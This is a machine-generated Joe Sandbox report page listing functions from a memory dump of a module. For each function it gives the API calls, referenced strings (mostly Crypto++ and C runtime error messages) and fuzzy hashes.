Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: e80069873f274276049bbc4a1defd44ffc6c81e34d859bbe8c61789cbe34b7d7
Instruction ID: 3cba1b4c41b27a256ae5f69f7caf5e1881684470b2266bd0924cd4a358efb300
Opcode Fuzzy Hash: e80069873f274276049bbc4a1defd44ffc6c81e34d859bbe8c61789cbe34b7d7
Instruction Fuzzy Hash: 213129327122104BD7349E5CE48097FF7EAEFE17247A0452FE0668B640D771D8828BA1

Function 68941D30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68941DC9

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 68944067
Part of subcall function 68944010: _memmove.LIBCMT ref: 689440C8

__CxxThrowException@8.LIBCMT ref: 68941E74

Strings

CryptoMaterial: this object contains invalid values, xrefs: 68941E16
BufferedTransformation: this object is not attachable, xrefs: 68941D67

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: BufferedTransformation: this object is not attachable$CryptoMaterial: this object contains invalid values
API String ID: 1902190269-3853263434
Opcode ID: 0b9274d2e4126a571172e8cac9a34a30d47e7143a7e5bc01afaa197451200e6b
Instruction ID: 6432ccc391dd4d05fa9e276b6922c672fd5a1167771dd599c408d8f0311cfcd0
Opcode Fuzzy Hash: 0b9274d2e4126a571172e8cac9a34a30d47e7143a7e5bc01afaa197451200e6b
Instruction Fuzzy Hash: 9A413D74C44248AFDB10DFE9D890AEEFBB8FF19314F50825AE42567290DB759604CF51

Function 689418C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6894194F

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

std::exception::exception.LIBCMT ref: 6894198E

Part of subcall function 689A95C1: std::exception::operator=.LIBCMT ref: 689A95DA

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 68944067
Part of subcall function 68944010: _memmove.LIBCMT ref: 689440C8

Strings

Clone() is not implemented yet., xrefs: 689418ED
Aj?Q, xrefs: 6894198A, 6894198D, 689419B7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrow_memmovestd::exception::exceptionstd::exception::operator=
String ID: Aj?Q$Clone() is not implemented yet.
API String ID: 2192554526-1187517185
Opcode ID: d3946e8bc323fe34435c81aca8474fa0ac216212d1b9130b5742a0ed13f20dbb
Instruction ID: 7b070e61661079ea03055e85aa79f8fa3acfa52542e63f39cd60b47126c7a5fd
Opcode Fuzzy Hash: d3946e8bc323fe34435c81aca8474fa0ac216212d1b9130b5742a0ed13f20dbb
Instruction Fuzzy Hash: 36318EB1905248AFDB10CF98D881AAEFBF8FB19314F50462EE821A7680D7759904CF91

Function 689774C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 6899D820: _memmove.LIBCMT ref: 6899D930

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6897761A

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

bytes, xrefs: 68977594
HashTransformation: can't truncate a , xrefs: 68977552
byte digest to , xrefs: 68977565

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argument_memmovestd::_
String ID: byte digest to $ bytes$HashTransformation: can't truncate a
API String ID: 39012651-1139078987
Opcode ID: 5f93c9cd0d0640685bb45834b270489a6bd035bd320d0184b79684f223cb8d3b
Instruction ID: 45839037e46f8dbafbf30c09a930db2b48310b8f17080b6785686abe146019a5
Opcode Fuzzy Hash: 5f93c9cd0d0640685bb45834b270489a6bd035bd320d0184b79684f223cb8d3b
Instruction Fuzzy Hash: BD4172751083C0AED330CB58C845FAFBBE8ABE9314F444A1DF29997281DB7595048BA7

Function 68975560 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68975657

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

StringStore: missing InputBuffer argument, xrefs: 689755E0
InputBuffer, xrefs: 689755BF
Aj?Q, xrefs: 689755B5, 6897565C, 689755B9

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: Aj?Q$InputBuffer$StringStore: missing InputBuffer argument
API String ID: 3718517217-3749915416
Opcode ID: 491f34e5b8a9c1b6b9ef305d7cd2f13ac995f28e7686d0d9480c547c28bf725b
Instruction ID: 1b42e232ede6af6759b834cd51f6ce5fa443ec134f157773d098b86fcb456ea7
Opcode Fuzzy Hash: 491f34e5b8a9c1b6b9ef305d7cd2f13ac995f28e7686d0d9480c547c28bf725b
Instruction Fuzzy Hash: F64117B55087809FD320CF19C490A5BFBE4BBE9718F904A1DF5A983390DB75D908CB52

Function 6894F9E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6894FA1A

Part of subcall function 6894FC30: UnmapViewOfFile.KERNEL32(00000000,?,?,00000000,513F6A41), ref: 6894FC98
Part of subcall function 6894FC30: CloseHandle.KERNEL32(FFFFFFFF,?,?,00000000,513F6A41), ref: 6894FCAD
Part of subcall function 6894FC30: CloseHandle.KERNEL32(?,?,?,00000000,513F6A41), ref: 6894FCB7
Part of subcall function 6894FC30: SetLastError.KERNEL32(00000000,?,?,00000000,513F6A41), ref: 6894FCBA

std::tr1::_Xweak.LIBCPMT ref: 6894FA5B
std::tr1::_Xweak.LIBCPMT ref: 6894FA80

Part of subcall function 6894FDE0: UnmapViewOfFile.KERNEL32(?,?,00000000,6894FA73,?,513F6A41), ref: 6894FE2D
Part of subcall function 6894FDE0: CloseHandle.KERNEL32(?,?,00000000,6894FA73,?,513F6A41), ref: 6894FE43
Part of subcall function 6894FDE0: CloseHandle.KERNEL32(00000000,?,00000000,6894FA73,?,513F6A41), ref: 6894FE4E

Strings

Aj?Q, xrefs: 6894FA09, 6894FA22, 6894FA6B, 6894FA38, 6894FA46, 6894FA0E, 6894FA25

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CloseHandle$FileUnmapViewXweakstd::tr1::_$ErrorLast_memset
String ID: Aj?Q
API String ID: 7609987-52356588
Opcode ID: f31901ce3d2a5d8fe6f6ab3f7000a9bb3a82d78eb7e47606167fbac4aa62d349
Instruction ID: d55281947f981d9991a6549e33ce41661b8b9bf99cd1a2c70f7fbeca481dc7db
Opcode Fuzzy Hash: f31901ce3d2a5d8fe6f6ab3f7000a9bb3a82d78eb7e47606167fbac4aa62d349
Instruction Fuzzy Hash: 7F31B534A4510AAFDF04CF68C854BEDB7B9EF4530CF908248E82597391E7B5E909CB90

Function 689782B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68978356

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

Strings

BufferedTransformation: this object can't be reinitialized, xrefs: 689782E3
Aj?Q, xrefs: 68978301
:Aj?Q, xrefs: 68978345, 68978378, 68978349

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argument_mallocstd::_
String ID: :Aj?Q$Aj?Q$BufferedTransformation: this object can't be reinitialized
API String ID: 544870984-2853600034
Opcode ID: 559beedc9dbfb00055e56b7174ee01017edb8412487d4b93dda78cd7ff525d0a
Instruction ID: dce0c7f0c79568ea51a5868be59f969863a6cf67920c7061d45a7d819975bcea
Opcode Fuzzy Hash: 559beedc9dbfb00055e56b7174ee01017edb8412487d4b93dda78cd7ff525d0a
Instruction Fuzzy Hash: A13118B514C380AFD314CF18D885B6BBBE8FB99714F804A2EF4A693680E775D904CB52

Function 6897BEF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6897BF2D

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

Strings

vector<T> too long, xrefs: 6897BF28
gfff, xrefs: 6897BF80
gfff, xrefs: 6897BF37

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$vector<T> too long
API String ID: 1823113695-3369487235
Opcode ID: f7b4f09393fef097ffa77bb7fe212c1da0143b2f6ec8c28f1950c270003e0f12
Instruction ID: b499283ddc0fa8eb3662a27ff7abb8755c2f222b112d5a35f0f7d827ab055501
Opcode Fuzzy Hash: f7b4f09393fef097ffa77bb7fe212c1da0143b2f6ec8c28f1950c270003e0f12
Instruction Fuzzy Hash: 7A31B4B1A006099FC728CF59D880E6AF7B9FB98714F50862DE9599B780D731F900CB91

Function 6897C500 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6897C5BF

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

Aj?Q, xrefs: 6897C56A
RoundUpToMultipleOf: integer overflow, xrefs: 6897C550
%Aj?Q, xrefs: 6897C5AE, 6897C5B2

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: %Aj?Q$Aj?Q$RoundUpToMultipleOf: integer overflow
API String ID: 3718517217-1920145602
Opcode ID: 85fbf48b29672bf7503b506a0427204a304f921ffecc9ff5352d5b3a34b144b1
Instruction ID: c4b8462d48c7dbdea7ac9f14b4ba13a2c6c1e8920e619533efa4f2cc2614fd58
Opcode Fuzzy Hash: 85fbf48b29672bf7503b506a0427204a304f921ffecc9ff5352d5b3a34b144b1
Instruction Fuzzy Hash: B531BF7160C7809FC314CF68C890A6EBBE4BBA9714F844A2EF491C7390D736D808CB82

Function 68974D30 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68974E00

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

ArraySink: missing OutputBuffer argument, xrefs: 68974D91
Aj?Q, xrefs: 68974D60, 68974D6F
OutputBuffer, xrefs: 68974D77

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: Aj?Q$ArraySink: missing OutputBuffer argument$OutputBuffer
API String ID: 3718517217-3006783727
Opcode ID: dc9b5e16c980beb754b931a79e63aff51cbb00b681b7d095bd2a16ad6a2de671
Instruction ID: c15a360bf4381d4b775f6d9d6223cbba162df33aee4c0f2e15da03cff9261846
Opcode Fuzzy Hash: dc9b5e16c980beb754b931a79e63aff51cbb00b681b7d095bd2a16ad6a2de671
Instruction Fuzzy Hash: 463105B55487809FC320CF68C481A5ABBE4BB99714F808A1EF4A683350DB75D908CF52

Function 6897C120 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6897C14E

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

Strings

vector<T> too long, xrefs: 6897C149
gfff, xrefs: 6897C129
gfff, xrefs: 6897C15A

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$vector<T> too long
API String ID: 1823113695-3369487235
Opcode ID: b4918deefa52b0de47e7da2445c46490a5d708e226de343764d3d0a71f95c576
Instruction ID: 67b29a1dfff8af7024d76b4b39b17fc2b209fe45087397b09d521bcc1e69c693
Opcode Fuzzy Hash: b4918deefa52b0de47e7da2445c46490a5d708e226de343764d3d0a71f95c576
Instruction Fuzzy Hash: 3901D173F040255F8320993FFD4444AFA97AAD4398359CA3AE608DF348E531D80243C2

Function 689825D0 Relevance: 6.2, APIs: 4, Instructions: 206COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 68982677
_memmove.LIBCMT ref: 689826E6
_memmove.LIBCMT ref: 68982746
__CxxThrowException@8.LIBCMT ref: 689827CD

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove$Exception@8Throw
String ID:
API String ID: 2655171816-0
Opcode ID: 5f2759f21e0920be8b82fdf71603bcc5ee08e4c73722ed67a23b5babafb2cf16
Instruction ID: 4f7f7c0423594b1dcb454145baaa5cd57c489bbcaf58bb39efa806eb5548d699
Opcode Fuzzy Hash: 5f2759f21e0920be8b82fdf71603bcc5ee08e4c73722ed67a23b5babafb2cf16
Instruction Fuzzy Hash: E85181B57047068FD704DFA9C990A2EB7EAAFDC604F90492DF495C7340EB35E9058B92

Function 6895D4B0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 6895D5E4
__CxxThrowException@8.LIBCMT ref: 6895D5F9
std::exception::exception.LIBCMT ref: 6895D608
__CxxThrowException@8.LIBCMT ref: 6895D61D

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
